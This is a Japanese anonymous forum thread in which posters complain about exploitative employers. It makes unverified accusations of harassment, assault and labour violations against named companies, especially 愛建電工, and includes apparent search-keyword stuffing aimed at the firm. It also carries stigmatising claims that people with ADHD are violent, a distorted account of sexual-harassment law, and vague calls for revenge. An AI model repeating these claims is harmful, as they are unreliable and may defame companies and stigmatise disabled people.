仕事はパワハラで全部部下にやらせ、本人はゲームで遊んで定時に帰る
こいつ一人のせいでサービス残業がとんでもないことになってる

82 ：

http://work.wor9.net/
有名どころだけど、上のサイトでハロワ募集回数が調べられる。
回数が多い企業ならおおむねブラック。
愛建電工とか検索すると笑える。

83 ：

ＳＡＮＫＹＯ三和工場も酷いで…始業時間なんか有って無い様なもんで5分10分早くやらせるしな機械整備の道具やら掃除用具まで社員持ちやで

84 ：

　　　　　　　　　　Λ Λ
　　　　　,._,._,._(´ー｀)_,._,._,.._,._
　　　　 ,!　　　　　　　　　;;,:!
　　　　 ,!　　　　　　　　　;;,:!
　　　　　ヽ､　　　　　 :;:;:;:''
　　　　　　　ﾞ`!二二二!

85 ：

　　　　　　　　Λ Λ　　かわいそうだな
　　　　　,._,._,._(´ー｀)_,._,._,..
　　　　 ,!　　　　　　　　　;;,:!
　　　　 ,!　　　　　　　　　;;,:!
　　　　　ヽ､　　　　　 :;:;:;:''
　　　　　　　ﾞ`!二二二!

86 ：

日立INS？

87 ：

愛媛県のブラック企業松山市本社の愛建電工株式会社ではセクハラ・パワハラが多く
それ以上の暴行事件もおこっていたそうだ。
また給料が安すぎて生活出来ない事で有名で（技術系で１４万、組立はもっと安い）
休日出勤も多く長時間労働で労基署の指導が何度も入り
労災でも労基署の指導が来た。
セクハラについては労働局の行政指導が入ったが
全く改善されずにセクハラが続いているようだ。
またパワハラについては訴訟問題に発展している。

88 ：

厚生労働省　〜こころの耳〜
http://kokoro.mhlw.go.jp/agency/worker/
労働トラブルでお困りの方へ　〜法テラス〜
http://www.houterasu.or.jp/service/roudou/
日本労働弁護団
http://roudou-bengodan.org/
全労連・労働相談ホットライン
http://www.zenroren.gr.jp/jp/soudan/

89 ：

ADHDは衝動制御が困難（怒り等の感情の抑制が難しい） について

この特性により、感情の自己コントロールが非常に困難な人たちが沢山おられます。
発達障害者は、感情や衝動性のコントロールができないため、しばしばそれらが爆発してパニック状態になり、パートナーや子どもなどに暴言を吐き、暴力を振るいます。
依存症や嗜癖行動に陥るのもそのためですし、うつ病を合併すると感情が不安定になり、ますます攻撃性が激しくなります。
自制心を育てるのに最も有効なのは「自分は発達障害者である」と自覚することです。
これに勝る良薬はありません。

90 ：

愛建電工株式会社も酷い会社で有名だ、
同じような求人が何度も出ているのに社員数が減り続けている。
愛媛のブラック企業、愛媛県のブラック企業、愛媛ブラック会社、愛媛県のブラック会社
上記のワードでGoogle検索すると関連検索で会社名が出るブラック企業愛建電工
また、愛建電工でGoogle検索するとブラック、悪い、詐欺と出る。ヤフー検索でもブラックと出る。
愛建電工は、労基署から長時間労働や労災の事で調査が何度も入り、
工場施設の是正勧告を受けたが労基署の巡回が無い時は不正作業していた。
愛建電工はセクハラ、パワハラ、それ以上の事件も多く、
パワハラは厚生労働省や労基署や法務局等に通報され訴訟問題に発展している。
給料も激安で有名だ。

91 ：

秘書課不祥事隠蔽工作中!! []
心の病、労災認定が過去最多　ハラスメント原因急増
2013年6月21日 17時03分
　過労や職場での対人トラブルでうつ病などの精神疾患にかかり、
２０１２年度に労災を認定された人は前年度より１５０人増の４７５人と３年連続で過去最多になったことが２１日、厚生労働省の集計で分かった。そのうち、自殺に至った過労自殺（未遂を含む）の認定も過去最多の９３人。

　労災認定された人について原因や引き金となった出来事をみると「嫌がらせやいじめを受けた」が１５人増の５５人、「上司とのトラブル」が１９人増の３５人、
「セクハラ」が１８人増の２４人など。さまざまな形でのハラスメントが原因として急増しており、職場環境の悪化がうかがえる。
（共同）

92 ：

・沸き上がる「怒りの感情」をコントロールできなくなってキレる若者は、癇癪を起こす認知症患者に似ている。
原因は、大脳前頭葉の成長の遅れ、すなわち「発育不全」にある
・脳は小学校入学までに、基本的なところは完成するが、大脳前頭葉だけは、20歳くらいにならないと完成しない。そのうえ、成長のスピードにも個人差がかなりある。
若者の中に大脳前頭葉の成長が遅れている者がいても、少しもおかしくない

・学級崩壊もADHD（注意欠陥／多動性障害）の子供たちが深く係っている。このADHDの直接の原因は、大脳前頭葉がうまく働いていないため
・ADHDの子供たちは、ふざけてやっているわけではなく、意地悪でも、面白がっているわけでもない。
本人自身が、自分をコントロールできない。
つまり、ガマンを強いられず、快適な環境でずっと育った結果、大脳前頭葉の成長が遅れたため

・孫を溺愛する祖父母が、いつでも孫の味方につくほど、子供はキレやすくなる

93 ：

愛建電工の資金繰りは、売り上げたお金で仕入れをしているの形態なので
仕入れをするために無理矢理赤字製品を受注している事もある。
愛建電工は海外制御盤を多く売り上げているが
円高が続いて赤字受注ばかりで会社がかなり危なかったはず、
やっと円安になったけれど下請けの愛建電工が影響を受けるのはまだ先のことだろう、
それより、愛建電工の工場は月々の電気代がかなりの金額なので
電気代が上がればすぐに会社が危険になるある。
そういうわけで社員の扱いも無茶になっているわけだ。

94 ：

wikipediaで調べたところ、女性が相手を誘っておいて、
実は嫌だったと言う事を後から主張した場合、
腹いせセクハラという事になり男の方が名誉毀損で訴える事が出来ると書いてあった、
またハニートラップという美人局の一種になり、セクハラとして成り立たず
刑事事件（労働事件）として訴える事が出来るという事が書いてありました。
もちろん立証は不可能に近いと思われます。
逆セクハラについて、きちんと用語と概念があるんですね。
何人もの弁護士に相談して労基署や労働局にも何度も相談したのに、
こういう事は一切出てこなかった。
労基法違反についても結局自分で調べた、
専門家が頼りにならないなら全部自分で調べるしかない。

95 ：

暴言、暴行、恐喝、脅迫、犯罪、冤罪、R、被害、違法、違反、裁判、訴訟、美人局、詐欺、悪質、不当

96 ：

事件、最悪、悪徳、酷い、ハラスメント、ブラック企業、ブラック会社、不当、嘘

97 ：

やられたらやりかえす
倍返しだ

98 ：

うちのヤマハ特約店の馬鹿社長は従業員様の社会保険料を納めてません
早く潰れてしまえばいいのに

99 ：

報復　復讐　襲撃
人の善意は信じますが、やられたらやりかえす。倍返しだ。
標的がいさつしても、シニアしないさ。

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